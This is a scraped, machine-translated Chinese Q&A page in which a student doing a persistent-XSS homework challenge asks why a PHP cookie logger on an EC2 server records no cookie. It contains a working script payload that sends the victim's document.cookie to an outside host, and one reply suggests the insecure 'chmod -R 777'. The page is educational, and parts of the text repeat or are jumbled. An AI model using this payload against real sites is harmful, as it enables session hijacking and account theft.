变量元';不能通过URL传递给PHP
我正在做这个持久的跨站点脚本挑战作业,我们应该通过用户代理注入来窃取cookie。有关此挑战的更多详细信息,请访问: 背景: 因为这个挑战是在一个玩具网站上进行的,所以该网站模拟受害者为我们查看页面。我们需要做的是将代码注入质询页面服务器,并通过该代码窃取受害者的cookie,然后将这些cookie发送到我们自己设置的web服务器。一旦我们成功收集了受害者的cookie,我们就可以将自己的cookie设置为这些值以通过挑战 到目前为止我所做的:变量元';不能通过URL传递给PHP,php,amazon-web-services,cookies,webserver,xss,Php,Amazon Web Services,Cookies,Webserver,Xss,我正在做这个持久的跨站点脚本挑战作业,我们应该通过用户代理注入来窃取cookie。有关此挑战的更多详细信息,请访问: 背景: 因为这个挑战是在一个玩具网站上进行的,所以该网站模拟受害者为我们查看页面。我们需要做的是将代码注入质询页面服务器,并通过该代码窃取受害者的cookie,然后将这些cookie发送到我们自己设置的web服务器。一旦我们成功收集了受害者的cookie,我们就可以将自己的cookie设置为这些值以通过挑战 到目前为止我所做的: 在aws ec2上设置web服务器。 我相信是ce
Amazon Linux AMI 2018.03.0.20181129 x86_64 HVM gp2
。入站规则设置为ssh的端口22和http的端口80。httpd、mysql、php已安装并测试正常。/var/www/http
下的文件index.html
在浏览器中正常显示
/var/www/http
我的cookie\u stealer.php的代码
:
$\u GET['c']
行之后添加了以下行:
echo 'Cookie: ' . $cookie . "\r\n";
c
的值可以作为ahhh
打印在网页上,但不会写入log.txt
。log.txt
仅记录以下内容:
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
我的问题是,如果变量c
被传递到服务器上的$cookie
,为什么当网页显示ahhh
时,三元运算符总是返回“没有变量c”
。有谁能告诉我为什么会发生这种情况,或者我还能在哪里看到?任何暗示都将不胜感激 我的第一个想法是:
您可能需要对cookie文本进行URL加密。它可能有一些东西破坏了你的URL请求
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+encodeURIComponent(document.cookie)</script>
例如,您的指导老师在那里塞了一个#
标志或其他东西。我不能肯定,因为我从来没有通过查询参数发送过cookie,但我认为它们不应该以这种方式发送
无论如何,这是太多的评论,希望它有帮助 您可能需要更改文件权限才能写入该日志文件。尝试:
chmod-R 777 log.txt
“因此,我的理解是,出于某种原因,我的cookie\u stealer.php仅在Chrome上本地运行”这是不正确的。Chrome甚至不知道如何运行PHP。谢谢@Joseph Sible!我推断,只有网页可以显示传递的变量,我的服务器才能读取它。否则它就毫无意义了。如果页面只显示来自服务器的值,这对我来说太奇怪了,服务器无法读取,但页面可以显示。浏览器只显示服务器传递给它的内容,因此如果您可以看到c
的值,这意味着您的服务器可以看到$c='ahhh'
Hi@catcon,谢谢!根据我的代码,如果变量被传递到服务器,我仍然感到困惑,为什么三元运算符总是返回“没有变量c”?
echo 'Cookie: ' . $cookie . "\r\n";
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+encodeURIComponent(document.cookie)</script>
$cookie = isset($_GET['c']) ? urldecode($_GET['c']) : 'There is no variable c';